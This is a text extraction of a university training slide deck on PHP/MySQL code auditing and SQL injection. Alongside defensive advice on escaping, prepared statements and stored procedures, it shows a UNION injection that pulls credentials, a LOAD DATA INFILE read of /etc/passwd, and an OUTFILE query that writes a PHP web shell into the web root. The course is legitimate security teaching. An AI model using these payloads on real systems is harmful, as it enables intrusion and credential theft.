web-appsec-audit

advertisement
Information Security Training
Web Application
Code Auditing and SQL Injection
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Vulnerability Assessment



Assessments can vary in depth

Surface assessments

Full code audits
What are you looking for?
A vulnerability is not necessarily a design
flaw.
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Understanding Threats



Threat modeling is an important process
Not necessarily germane to vulnerability
assessment
Threat modeling deals with the “what” and
the “why” of security, vulnerability
assessment deals with the “how”
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Exploits



In the “gray hat” context, exploits are
synonymous with proof of concept
Why develop proof of concept?

Helps to gauge vulnerability severity

Test ease of exploitability

Helps model impact to develop remediation and
reaction strategies
Proof of concept is demonstrative only, not a
weaponized exploit
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Finding Vulnerability

White box testing


Gray box testing


Reading the code
Knowing the applications purpose, having
credentials, some code available, etc.
Black box testing

Penetration testing

Attacking the application from the outside
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Tools

Automated tools are useful in each testing
scenario

Help cut down on manual, repetitive tasks

Can produce a lot of false positives

Are really only useful when guided by a skilled
human
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Essential White Box Tools



PHP CLI for testing expressions and flow
Perl for automated code analysis and exploit
testing
IDE (Integrated Development Environment) for
syntax highlighting, easily tracing flow over
includes, and spotting dangerous functions

Eclipse with PHPEclipse and Remote System
Explorer (RSE) is ideal
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Essential Gray/Black Box Tools


Tools to manipulate user supplied input quickly and easily,
as well as for automated spider and mapping of target
Paros proxy for capturing interactions


Firefox Tamper Data plugin for on the fly data manipulation


http://www.parosproxy.org
https://addons.mozilla.org/en-US/firefox/addon/966
Firefox Web Developer plugin for presentation manipulation
(JavaScript, CSS, and Cookies)

https://addons.mozilla.org/en-US/firefox/addon/60
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Approach

Look for vulnerabilities methodically

Making a list of vulnerability classes is helpful



Start with one class, search the application for
all instances of that, then move to next
Start with easiest and move to most difficult
Some flaws will require a complete
understanding of intended program operation
so some testing involves simply familiarity
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Example – SQL Injection




SQL injection is an extremely common, and
dangerous web app vulnerability
Fortunately SQL injection is very easy to find
using white box testing
All SQL queries must pass through a PHP
function to reach the database
Isolate and examine all SQL queries to find
injection potential
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
SQL Injection



Vulnerability whereby an attacker can
manipulate a SQL query string
SQL injection may not always be exploitable
SQL injection can be used for other attacks
(such as performing a stored cross site
scripting (XSS) attack)
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
PHP & MySQL

PHP interacts with MySQL by setting up a
connection resource then passing queries
through
<?php
$conn = mysql_connect($server,$username,$password);
mysql_select_db($database);
$query_resource = mysql_query($sql_statement);
while ($row = mysql_fetch_row($query_resource)) {
echo $row[0];
echo $row[1];
}
msyql_close();
?>
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Side Note: Information Disclosure



Often times connection details are stored in
include files
Although not SQL injection, information
disclosure could occur
Connection credentials (username,
password, database) must be stored in an
Apache readable format

This generally means they're in plain text on the
file server
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Side Note: Information Disclosure
<?php
$link = mysql_connect('localhost', 'mysql_user',
'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
[rest of the page]
mysql_close($link);
?>
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Typical SQL Injection
Vulnerability
<?php
$id = $_GET['id'];
$sql = 'select * from table where id=' . $id;
?>

Application expects a URL in the form
http://sitename.tld/index.php?id=5

This is supposed to result in a SQL statement
such as:
select * from table where id=5
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Manipulating the query

What happens if an attacker calls the URL
http://site.tld/index.php?id=5 union select
username,password from user

The resulting query becomes:
select * from table where id=5 union select * from user

This could result in sensitive information
being rendered by the application
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
User Supplied Input




ANY user supplied input can be used to
trigger a SQL injection
GET, POST, HTTP_REFERER, COOKIE,
RSS input, AJAX resources, etc.
Just because it's not easy for a user to
manipulate the supplied input does not mean
it is safe!
Using a proxy like Paros will allow most data
to be manipulated quite easily
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
PHP Register Globals

Setting controlled in /etc/php.ini
http://us3.php.net/manual/en/ini.core.php#ini.register-globals

Should become extinct very soon

Allows all variables to be referred to without context



Makes $_GET['id'] the same as $id
Default behavior in PHP 3, many legacy
applications require it
Should be set to off!
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Dangers of Register Globals


Variable collision
Can allow malicious users to arbitrarily set or
reset critical variables



$_SERVER['DOCUMENT_ROOT']
Encourages haphazard coding
Leads to confusion when reading/reviewing
code
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Back to SQL Injection



SQL queries operate with the privileges of
the user account specified in the
mysql_connect() function.
If account was set up properly it should have
minimal permissions
Some configurations could use the MySQL
root account though, which has privileges of
the MySQL process
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Some SQL Injection Strategies

Expose sensitive data


Using JOIN or UNION in injection or simply
changing parameters
Inject malicious data

Manipulate INSERT or UPDATE
statements

Alter database content

Read or write operating system files


Using privilege normally reserved for root
©Copyright JustinMySQL
C. Klein Keane
Manipulate or expose
system
files
<jukeane@sas.upenn.edu>
PHP and MySQL Quirks




In PHP and MySQL you cannot “stack”
queries
This means attackers only get one SQL
statement to work with
This makes exploiting PHP/MySQL SQL
injection a lot trickier than with other systems
Unfortunately automated tools make this a
much lower bar than it used to be
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Developing MySQL Injections

After you spot a SQL statement in PHP code
that you suspect is vulnerable:

Develop your exploit in MySQL command line

Much of the query is static, and it can be tricky to figure out a way
to alter the rest of the query

Use the most favorable environment you can, exploit
development is hard enough already!

Keep in mind that just because you can't develop an exploit,
doesn't mean vulnerability isn't exploitable!

Proof of concept need only demonstrate vulnerability.
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Advantages of MySQL CLI




Easy to develop and repeat queries
Good error output lets you know what went
wrong
Easy access to data and table definitions
Removes interference from the PHP application
layer
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Sample DB Target

Example tables:
mysql> desc content;
+-------+---------+------+-----+---------+----------------+
| Field | Type
| Null | Key | Default | Extra
|
+-------+---------+------+-----+---------+----------------+
| id
| int(11) | NO
| PRI | NULL
| auto_increment |
| data | text
| YES |
| NULL
|
|
+-------+---------+------+-----+---------+----------------+
2 rows in set (0.02 sec)
mysql> desc users;
+----------+-------------+------+-----+---------+----------------+
| Field
| Type
| Null | Key | Default | Extra
|
+----------+-------------+------+-----+---------+----------------+
| id
| int(11)
| NO
| PRI | NULL
| auto_increment |
| username | varchar(30) | YES |
| NULL
|
|
| password | varchar(30) | YES |
| NULL
|
|
+----------+-------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
JOIN Data

Joins must have a mapping value
mysql> select * from content STRAIGHT_JOIN users on content.id=users.id;
+----+------+----+----------+-----------+
| id | data | id | username | password |
+----+------+----+----------+-----------+
| 1 | foo | 1 | joe
| p455w0rd! |
+----+------+----+----------+-----------+
1 row in set (0.03 sec)

LEFT JOIN, RIGHT JOIN, INNER JOIN,
LEFT OUTER JOIN, STRAIGHT_JOIN
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
UNION data


UNION is a popular injection trick
NB: Union must have the same number of
columns
mysql> select * from content where id=1 union select username,password from
users where id=1;
+------+-----------+
| id
| data
|
+------+-----------+
| 1
| foo
|
| joe | p455w0rd! |
+------+-----------+
2 rows in set (0.03 sec)
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
PHP/MySQL Injection


Injection attacks are largely dependent on
the static portions of the query being
manipulated
Note injection points and static query data in
the following injectable statements:
select * from user where user_id = $id
update user set
username='$name',
password=md5($password)
where id = $id
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Compound Queries


Although you can't “stack” queries in
PHP/MySQL, you can issue compound
queries
Queries restrict what you can do

You can't alter the SQL prior to the injection point

You can comment out SQL after the injection
point
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
INFILE and OUTFILE


Special that are usually only associated with
privileged accounts
Can read/write to the OS with the privileges
of the MySQL server
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
INFILE Example
mysql> LOAD DATA INFILE '/etc/passwd' INTO TABLE content (data);
Query OK, 35 rows affected (0.00 sec)
Records: 35
Deleted: 0
Skipped: 0
Warnings: 0
mysql> select * from content;
+----+------------------------------------------------------------------------------+
| id | data
|
+----+------------------------------------------------------------------------------+
| 1 | foo
|
| 45 | mail:x:8:12:mail:/var/spool/mail:/bin/sh
|
| 44 | halt:x:7:0:halt:/sbin:/sbin/halt
|
| 43 | shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
|
[...]
| 71 | named:x:80:423:system user for bind:/var/lib/named:/bin/false
|
+----+------------------------------------------------------------------------------+
36 rows in set (0.00 sec)
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
OUTFILE




Can be useful when query doesn't return
data directly
Can be used to write data to a web
accessible location
Can be used to write files that can later be
read with INFILE injections
Cannot be used to alter an existing file
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
OUTFILE Nastiness
[jukeane@topsail ~]$ ls -latdr /var/www/html
drwxrwsrwx 36 apache jukeane 4096 2009-06-04 08:30 /var/www/html/
[jukeane@topsail ~]$ mysql -u root -p p
Enter password:
Welcome to the MySQL monitor.
Commands end with ; or \g.
mysql> select * from content into outfile '/var/www/html/passwd.txt';
Query OK, 36 rows affected (0.00 sec)
mysql> select '<?php echo system($_GET[\'cmd\']);?>' from dual into outfile
'/var/www/html/backdoor.php';
Query OK, 1 row affected (0.00 sec)
mysql> exit
Bye
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
OUTFILE Nastiness Cont.
[jukeane@topsail ~]$ cat /var/www/html/backdoor.php
<?php echo system($_GET['cmd']);?>
[jukeane@topsail ~]$ cat /var/www/html/passwd.txt
1
foo
45 mail:x:8:12:mail:/var/spool/mail:/bin/sh
44 halt:x:7:0:halt:/sbin:/sbin/halt
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Useful Tips: Information Schema



Information Schema is a view to database
metadata
Can be used to enumerate database data
such as table names, column names and
column types
Only information for which the user has
privileges can be accessed
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Information Schema Example
mysql> select table_schema, table_name from information_schema.tables;
+--------------------+---------------------------------------+
| table_schema
| table_name
|
+--------------------+---------------------------------------+
| test_data
| blog
|
| test_data
| user
|
| test_data
| test
|
| test_data
| content
|
+--------------------+---------------------------------------+
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Blind SQL Injection



Term of art used to describe SQL injection
vulnerabilities that when exploited do not
provide directly visible results to the attacker
May simply result in an error
Could result in an update that may not be
apparent

Could result in a timing condition

etc.
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Preventing SQL Injection


PHP/MySQL has many strategies for
preventing SQL injection attacks
ALWAYS validate user supplied data



We'll see this theme recurring a lot
Create accounts with least privilege
necessary to carry out application
functionality
Limit application to one database, and limit
database data to one application!
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
PHP Built In Functionality

PHP mysql_real_escape_string()


http://us2.php.net/mysql_real_escape_strin
g
Sanitizes variables for use in a query
$username = mysql_real_escape_string($_POST['username']);
$query = mysql_query(“update user set username = '$username'”);

Enforce variable type:
$query = mysql_query('select * from content where id=' . intval($_GET['id']);

addslashes() is not and effective way to
protect against SQL injection
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Libraries


Using third party libraries standardizes code
and frees developers from maintenance
PEAR MDB2


ADOdb



http://pear.php.net/package/MDB2
http://adodb.sourceforge.net/
Project specific libraries
If not used properly libraries can become
vulnerable to SQL injection
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Prepared Statements
(Bind Variables)



MySQLi (MySQL improved) connection

Effectively eliminates SQL injection

http://us.php.net/mysqli
MySQLi may not always be installed or
available
Example usage:
$conn = new mysqli("localhost", "user", "pass", "database");
$statement = $db_connection->prepare("SELECT * FROM content WHERE id = ?");
$statement->bind_param("i", $id);
$statement->execute();
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Stored Procedures
mysql> DELIMITER //
mysql> create procedure ret_content (
-> IN inid INT, OUT outdata varchar(255)
-> )
-> BEGIN
-> select data into outdata from content where id = inid;
-> END;//
Query OK, 0 rows affected (0.00 sec)
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Stored Procedures from PHP
<?php
$conn = mysql_connect('localhost', 'user', 'pass');
mysql_select_db('db');
mysql_query("call ret_content(1,@retval)") ;
$retval = mysql_query("select @retval");
while ($row = mysql_fetch_row($retval)) echo $row[0];
mysql_close();
?>


This is by far one of the safest approaches!
Combining stored procedures with application
accounts that only have access to execute stored
procedures is the best option for preventing SQL
injection
©Copyright Justin C. Klein Keane
<jukeane@sas.upenn.edu>
Download